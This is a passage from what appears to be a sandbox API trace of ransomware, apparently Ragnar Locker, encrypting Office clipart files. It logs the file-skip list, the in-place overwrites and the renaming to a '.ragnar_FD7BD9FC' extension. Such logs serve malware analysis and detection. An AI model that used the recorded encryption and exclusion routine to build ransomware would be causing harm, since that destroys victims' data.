flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.538] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.538] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.538] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x493e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x493e, lpOverlapped=0x0) returned 1 [0087.539] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.539] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x493e, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.539] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x493e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x493e, lpOverlapped=0x0) returned 1 [0087.539] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x493e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.539] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.540] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x493e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.540] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.540] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.540] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.540] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.540] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.540] GetProcessHeap () returned 0x580000 [0087.540] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.540] CloseHandle (hObject=0xf4) returned 1 [0087.540] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" [0087.540] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF.ragnar_FD7BD9FC" [0087.540] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297757.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297757.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.541] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4960, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297759.WMF", cAlternateFileName="")) returned 1 [0087.541] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.541] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0297759.WMF" | out: lpString1="J0297759.WMF") returned="J0297759.WMF" [0087.541] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF") returned=".WMF" [0087.541] lstrcmpiW (lpString1="J0297759.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.541] lstrcmpiW (lpString1="J0297759.WMF", lpString2="autorun.inf") returned 1 [0087.541] lstrcmpiW (lpString1="J0297759.WMF", lpString2="boot.ini") returned 1 [0087.541] lstrcmpiW (lpString1="J0297759.WMF", lpString2="bootfont.bin") returned 1 [0087.541] lstrcmpiW (lpString1="J0297759.WMF", lpString2="bootsect.bak") returned 1 [0087.541] lstrcmpiW (lpString1="J0297759.WMF", lpString2="bootmgr") returned 1 [0087.541] lstrcmpiW (lpString1="J0297759.WMF", lpString2="bootmgr.efi") returned 1 [0087.541] lstrcmpiW (lpString1="J0297759.WMF", lpString2="bootmgfw.efi") returned 1 [0087.541] lstrcmpiW (lpString1="J0297759.WMF", lpString2="desktop.ini") returned 1 [0087.541] lstrcmpiW (lpString1="J0297759.WMF", lpString2="iconcache.db") returned 1 [0087.541] lstrcmpiW (lpString1="J0297759.WMF", lpString2="ntldr") returned -1 [0087.541] lstrcmpiW (lpString1="J0297759.WMF", lpString2="ntuser.dat") returned -1 [0087.541] lstrcmpiW (lpString1="J0297759.WMF", lpString2="ntuser.dat.log") returned -1 [0087.541] lstrcmpiW (lpString1="J0297759.WMF", lpString2="ntuser.ini") returned -1 [0087.541] lstrcmpiW (lpString1="J0297759.WMF", lpString2="thumbs.db") returned -1 [0087.541] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.541] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.541] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.541] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.541] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.542] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.542] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.542] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf")) returned 0x20 [0087.542] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.542] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=18784) returned 1 [0087.542] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4957, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.542] GetProcessHeap () returned 0x580000 [0087.542] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.542] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.544] VirtualAlloc (lpAddress=0x0, dwSize=0x4960, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.544] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.544] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.544] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4960, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4960, lpOverlapped=0x0) returned 1 [0087.545] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.545] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4960, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.545] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4960, lpOverlapped=0x0) returned 1 [0087.545] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4960, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.545] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.546] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4960, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.546] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.546] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.546] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.546] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.546] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.546] GetProcessHeap () returned 0x580000 [0087.546] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.546] CloseHandle (hObject=0xf4) returned 1 [0087.546] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" [0087.546] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF.ragnar_FD7BD9FC" [0087.546] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.547] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566ffef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4584, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300862.WMF", cAlternateFileName="")) returned 1 [0087.547] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.547] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0300862.WMF" | out: lpString1="J0300862.WMF") returned="J0300862.WMF" [0087.547] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF") returned=".WMF" [0087.547] lstrcmpiW (lpString1="J0300862.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.547] lstrcmpiW (lpString1="J0300862.WMF", lpString2="autorun.inf") returned 1 [0087.547] lstrcmpiW (lpString1="J0300862.WMF", lpString2="boot.ini") returned 1 [0087.547] lstrcmpiW (lpString1="J0300862.WMF", lpString2="bootfont.bin") returned 1 [0087.547] lstrcmpiW (lpString1="J0300862.WMF", lpString2="bootsect.bak") returned 1 [0087.547] lstrcmpiW (lpString1="J0300862.WMF", lpString2="bootmgr") returned 1 [0087.547] lstrcmpiW (lpString1="J0300862.WMF", lpString2="bootmgr.efi") returned 1 [0087.547] lstrcmpiW (lpString1="J0300862.WMF", lpString2="bootmgfw.efi") returned 1 [0087.547] lstrcmpiW (lpString1="J0300862.WMF", lpString2="desktop.ini") returned 1 [0087.547] lstrcmpiW (lpString1="J0300862.WMF", lpString2="iconcache.db") returned 1 [0087.547] lstrcmpiW (lpString1="J0300862.WMF", lpString2="ntldr") returned -1 [0087.547] lstrcmpiW (lpString1="J0300862.WMF", lpString2="ntuser.dat") returned -1 [0087.547] lstrcmpiW (lpString1="J0300862.WMF", lpString2="ntuser.dat.log") returned -1 [0087.547] lstrcmpiW (lpString1="J0300862.WMF", lpString2="ntuser.ini") returned -1 [0087.547] lstrcmpiW (lpString1="J0300862.WMF", lpString2="thumbs.db") returned -1 [0087.547] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.547] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.547] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.547] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.547] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.547] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.548] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf")) returned 0x20 [0087.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.549] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17796) returned 1 [0087.549] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x457b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.549] GetProcessHeap () returned 0x580000 [0087.549] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.549] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.551] VirtualAlloc (lpAddress=0x0, dwSize=0x4584, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.551] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.551] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.551] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4584, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4584, lpOverlapped=0x0) returned 1 [0087.552] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.552] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4584, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.552] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4584, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4584, lpOverlapped=0x0) returned 1 [0087.552] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4584, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.552] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.553] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.553] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.553] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.553] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.553] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.553] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.553] GetProcessHeap () returned 0x580000 [0087.553] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.553] CloseHandle (hObject=0xf4) returned 1 [0087.553] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" [0087.553] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF.ragnar_FD7BD9FC" [0087.553] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.554] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66f5700, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0x566ffef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf66f5700, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0x2b0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301044.WMF", cAlternateFileName="")) returned 1 [0087.554] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.554] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0301044.WMF" | out: lpString1="J0301044.WMF") returned="J0301044.WMF" [0087.554] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF") returned=".WMF" [0087.554] lstrcmpiW (lpString1="J0301044.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.554] lstrcmpiW (lpString1="J0301044.WMF", lpString2="autorun.inf") returned 1 [0087.554] lstrcmpiW (lpString1="J0301044.WMF", lpString2="boot.ini") returned 1 [0087.554] lstrcmpiW (lpString1="J0301044.WMF", lpString2="bootfont.bin") returned 1 [0087.554] lstrcmpiW (lpString1="J0301044.WMF", lpString2="bootsect.bak") returned 1 [0087.554] lstrcmpiW (lpString1="J0301044.WMF", lpString2="bootmgr") returned 1 [0087.554] lstrcmpiW (lpString1="J0301044.WMF", lpString2="bootmgr.efi") returned 1 [0087.554] lstrcmpiW (lpString1="J0301044.WMF", lpString2="bootmgfw.efi") returned 1 [0087.554] lstrcmpiW (lpString1="J0301044.WMF", lpString2="desktop.ini") returned 1 [0087.554] lstrcmpiW (lpString1="J0301044.WMF", lpString2="iconcache.db") returned 1 [0087.554] lstrcmpiW (lpString1="J0301044.WMF", lpString2="ntldr") returned -1 [0087.554] lstrcmpiW (lpString1="J0301044.WMF", lpString2="ntuser.dat") returned -1 [0087.554] lstrcmpiW (lpString1="J0301044.WMF", lpString2="ntuser.dat.log") returned -1 [0087.554] lstrcmpiW (lpString1="J0301044.WMF", lpString2="ntuser.ini") returned -1 [0087.554] lstrcmpiW (lpString1="J0301044.WMF", lpString2="thumbs.db") returned -1 [0087.554] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.555] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.555] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.555] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.555] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.555] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.555] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.555] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf")) returned 0x20 [0087.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301044.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.555] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11022) returned 1 [0087.555] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2b05, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.555] GetProcessHeap () returned 0x580000 [0087.555] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.555] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.557] VirtualAlloc (lpAddress=0x0, dwSize=0x2b0e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.557] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.557] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.557] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2b0e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2b0e, lpOverlapped=0x0) returned 1 [0087.558] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.558] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2b0e, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.558] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, 